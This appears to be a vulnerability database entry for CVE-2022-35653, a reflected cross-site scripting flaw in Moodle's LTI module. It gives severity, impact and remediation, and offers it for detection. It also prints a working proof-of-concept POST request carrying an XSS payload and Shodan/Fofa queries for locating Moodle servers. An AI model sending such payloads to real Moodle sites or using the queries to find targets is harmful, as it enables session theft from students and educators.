🔙 목록으로 돌아가기

CVE-2022-35653: Moodle LTI module Reflected - Cross-Site Scripting

TitleMoodle LTI module Reflected - Cross-Site Scripting
Authoriamnoooob,pdresearch
SeverityMedium
ImpactAttackers can inject malicious JavaScript through the LTI module that executes in educators' or students' browsers, potentially stealing Moodle session credentials and accessing sensitive course information.
RemediationUpdate Moodle to a patched version that properly sanitizes user input in the LTI module and prevents execution of injected scripts.
CVSS Score6.1
EPSS Score0.82285
CVE IDCVE-2022-35653
CWE IDCWE-79
Shodan Querytitle:"Moodle"cpe:"cpe:2.3:a:moodle:moodle"http.title:"moodle"
Fofa Querytitle="moodle"
Tags cve cve2022 moodle xss vkev vuln

🔍 Vulnerability Description

A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks.

🌐 HTTP Request

POST /mod/lti/auth.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

xxx"><img/src%3d'x'onerror%3dalert('document_domain')>=1

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-35653.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-35653.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A